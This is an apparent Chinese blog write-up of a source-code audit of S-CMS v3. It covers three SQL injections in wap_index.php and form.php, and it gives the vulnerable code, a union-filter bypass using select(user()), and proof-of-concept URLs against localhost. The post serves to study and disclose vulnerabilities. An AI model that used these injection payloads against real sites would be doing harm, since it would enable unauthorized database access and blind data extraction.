详解S-CMS企业建站v3几处SQL注入

 更新时间:2019年02月26日 16:16:51   作者:AShe  
这篇文章主要介绍了详解S-CMS企业建站v3几处SQL注入,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧

0x01 前言

有段时间没有发文章了,主要没挖到比较有意思的漏洞点。然后看最近爆了很多关于S-CMS的漏洞,下载了源码简单挖了一下然后给大家分享一下。

0x02 目录

Wap_index.php sql注入Form.php Sql注入Input、query

0x03 插曲

这里分享一下在审计的时候自用的一段代码。

 $debug=function(){
      $logFile='C:\\Users\\DELL\\Desktop\\debug.txt';   //输出的文件
      $param=func_get_args();           //获取传入函数的参数
      if (count($param)>0){              
        $str=serialize($param);           //序列号
        if($str){                  //存在就写入
          $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\t\t".$str;
          file_put_contents($logFile,"\t\t".$str);
        }else{                 //不存在写入Null
          $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\r\n".$str;
          file_put_contents($logFile,"\t\tNull");
        }
      }
    };$debug($x,$a,$b);   //这里$x,$a,$b都是要查看的变量。

主要用这个的话个人感觉比较方便,平常测试都是var_dump();die;来查看。然后当die后,页面还是没有打印内容,用这个函数还是相对比较方便的。当然用phpstorm下断点挺好的,不过个人不太喜欢。主要还是我懒。

0x04 Wap_index.php sql注入

漏洞文件:\scms\wap_index.php这个文件的话不止这一处Sql注入,这里只写这一个。漏洞行号:90-96

case "text":
  $debug("select * from SL_text where T_id=" . $S_id, "T_title");
  if (getrs("select * from SL_text where T_id=" . $S_id, "T_title") == "") {
    box("菜单指向的简介已被删除,请到“菜单管理”重新编辑", "back", "error");
  } else {
    $page_info = ReplaceLableFlag(ReplaceWapTag(CreateHTMLReplace(CreateText(ReplaceWapPart(LoadWapTemplate($style, $S_id)) , $S_id))));
  }
  break;

S_id直接从GET获取无单引号拼接进了sql语句

if(isset($_GET["S_id"])){
  $S_id = $_GET["S_id"];
}else{
  $S_id = "0";
}

这套CMS核心全带全都加密处理了所以我们看不到他的过滤方法,不过当出现 union select 等的时候都直接退出了,没有继续往下执行。研究发现当传入select(user())能正常执行,不过尝试union(select(1)) 的时候也没有执行,应该是直接正则匹配的union这个单词,而select匹配了前后的空格。

漏洞演示:

$debug保存下来的信息。

D:\phpStudy\PHPTutorial\WWW\scms\wap_index.php: a:2:{i:0;s:58:"select * from SL_text where T_id=1 and (select(user())!=1)";i:1;s:7:"T_title";}

Mysql.log

正常执行了sql语句。S_id=1 and (select(user()) from sl_reply 同样可以正常执行,可通过盲注爆数据。

0x05 Form.php Sql注入

漏洞文件:\scms\form.php

漏洞Action:input

if($action=="input"){
  if ($_POST["code"]!=$_SESSION["CmsCode"]){
    echo "<div style='height:500px'></div>";
    box(lang("验证码错误!/l/Verification code error"),"back","error");
  }else{
    $R_time=date('Y-m-d H:i:s');
    $R_rid=gen_key(15);
    foreach ($_POST as $x=>$value) {
    if ($x>0){
      if ($_POST[$x]==""){
        box(lang("请填全内容后提交!/l/Please fill in the full content to submit!"),"back","error");
        die();
      }else{
        if (!IsValidStr($_POST[$x])){
        box(lang("您输入的内容有敏感字符,请重新输入!/l/The contents you have entered are sensitive characters, please re-enter!"),"back","error");
        }else{
$debug("Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")");
        mysqli_query($conn,"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")");
        }
      }
    }
    }
    if ($F_cq>0){
    mysqli_query($conn,"Insert into SL_query(Q_code,Q_content,Q_sort) values('".$R_rid."','".date('Y-m-d H:i:s')."__用户提交表单,等待处理"."',".$F_cq.")");
    box(lang("提交成功,查询码 ".$R_rid."/l/success!code ".$R_rid.""),$C_dir.$url_to,"success");
  }else{
  box(lang("提交成功!/l/success!code ".$R_rid.""),$C_dir.$url_to,"success");
  }
    sendmail("您的网站有新的表单提交","<h2>您的网站“".lang($C_webtitle)."”有新的表单提交</h2><hr>请进入“网站后台” - “表单系统” - “查看统计”查看详情!",$C_email);

  }
}

这里简单看些逻辑,先判断code验证码是否错误,如果为False不错误,进入foreach循环,判断$x(也就是 $_POST的key)>0这里就可以通过php弱类型比如1a>0 为True 这个不多介绍了,然后如果$_POST[$x] 不为空,继续检测$_POST[$x] 是否存在敏感字符,然后拼接sql语句。

整个流程就这样了,漏洞触发点就是$x,它检测敏感字符只检测了$_POST[$x]内容,而没检测$x,而且直接拼接入了sql语句导致SQL注入。

漏洞演示:

http://127.0.0.1/scms/form.php?action=input&S_id=0code=ywu7&1//and//(1//like//1)=121

$debug记录

D:\phpStudy\PHPTutorial\WWW\scms\form.php: a:1:{i:0;s:147:"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(1//and//(1//like//1),'121','2018-12-05 15:27:00','WjWEpX8YIK6cfeq',6)";}

漏洞文件:\scms\form.php

漏洞Action:query

if ($action=="query"){
$Q_sort=$_POST["Q_sort"];
$Q_code=$_POST["Q_code"];
  if ($_POST["code"]!=$_SESSION["CmsCode"]){
    echo "<div style='height:500px'></div>";
    box(lang("验证码错误!/l/Verification code error"),"back","error");
  }else{

    $sql="select * from SL_query where Q_sort=".$Q_sort." and Q_code like '".$Q_code."'";
    $result = mysqli_query($conn, $sql);
    $row = mysqli_fetch_assoc($result);

这个相对简单不多说,$Q_sort从post获取,无过滤直接拼接进sql语句导致sql注入。

Payload:http://127.0.0.1/scms/form.php?action=query&S_id=0code=t5o9&Q_sort=1 and 1=1

0x06 结束语

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

相关文章

  • 解决dotproject的两个小bug的方法

    解决dotproject的两个小bug的方法

    继续深入使用dotproject,发现两个小bug,国内的论坛这些问题是找不到了,只有到dotproject官方论坛去找找,问题终获解决。
    2008-11-11
  • zblogphp、Z-Blog PHP数据库结构及表中的字段详细说明

    zblogphp、Z-Blog PHP数据库结构及表中的字段详细说明

    如果你是一位开发者,你一定知道Zblog-PHP。它是一款非常流行的开源博客系统,许多人使用它来创建自己的博客。在使用Zblog-PHP的过程中,你可能会遇到一些数据库字段,这些字段可能会导致一些困惑。因此,在本文中,我们将详细解释Zblog-PHP数据库字段的含义和作用。
    2023-03-03
  • wordpress 12个数据表结构和字段说明

    wordpress 12个数据表结构和字段说明

    WordPress安装的时候数据库会有12个默认的数据表,每张表的数据都包含了 WordPress 不同的功能。看看这些表的结构,你能很容易的了解网站不同的部分都是存在哪里的。这篇文章主要介绍了wordpress 12个数据表结构和字段说明,需要的朋友可以参考下
    2023-04-04
  • Fastadmin中JS的调用方法原理讲解

    Fastadmin中JS的调用方法原理讲解

    FastAdmin的前端部分使用或涉及到主要是RequireJS,jQuery,AdminLTE,Bower,Less,CSS。其中RequireJS主要是用于JS的模块化加载。
    2022-12-12
  • 帝国cms所有的数据库表结构和字段说明

    帝国cms所有的数据库表结构和字段说明

    帝国CMS也是比较有名气的,基本上没有出现安全问题。但是帝国CMS后台的逻辑和布局,感觉太复杂。如果我们需要会员或者下载等交互功能,这一点的扩展上帝国是有优势的。这篇文章主要介绍了帝国cms所有的数据库表结构和字段说明,需要的朋友可以参考下。
    2023-04-04
  • 详解S-CMS企业建站v3几处SQL注入

    详解S-CMS企业建站v3几处SQL注入

    这篇文章主要介绍了详解S-CMS企业建站v3几处SQL注入,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2019-02-02
  • phpcms数据表结构和字段详细说明

    phpcms数据表结构和字段详细说明

    PHPCMS V9可以轻松承载百万级的访问数据,最大的功臣就是PHPCMS良好的数据库结构。学习一下PHPCMS的数据库结构。数据表的默认表前缀是V9_ ,表前缀的主要作用是数据库中有不同系统的数据表存在时,可以用表前缀来区分出来。
    2023-04-04
  • fastAdmin表单验证validate的错误提示信息,如何改变位置?

    fastAdmin表单验证validate的错误提示信息,如何改变位置?

    fastAdmin表单验证validate的错误提示,默认是在右侧的n-right,如果放在右侧不太好看,想调整到其他位置,该怎么操作呢?
    2023-08-08
  • 如何安全修改隐藏Zblogphp默认后台登录地址

    如何安全修改隐藏Zblogphp默认后台登录地址

    目前ZBlogPHP站点后台的登录地址默认都是/zb_system/login.php或/zb_system/cmd.php?act=admin,从源代码里很容易看出使用了ZBlogPHP系统,容易被别有用心的人暴力破解。对于这种情况,最好的办法就是修改/隐藏我们的后台登录地址。
    2023-04-04
  • PHPWIND 5.3 运行代码 功能实现代码

    PHPWIND 5.3 运行代码 功能实现代码

    天架设了一个PHPWIND的论坛,想着要弄个运行代码的功能出来,不过我只懂点ASP,又没接触过PHP,想着看看有没前人树,咱乘下凉就是了。查了下,发现只有老版本的插件可以实现这个功能。
    2009-06-06

最新评论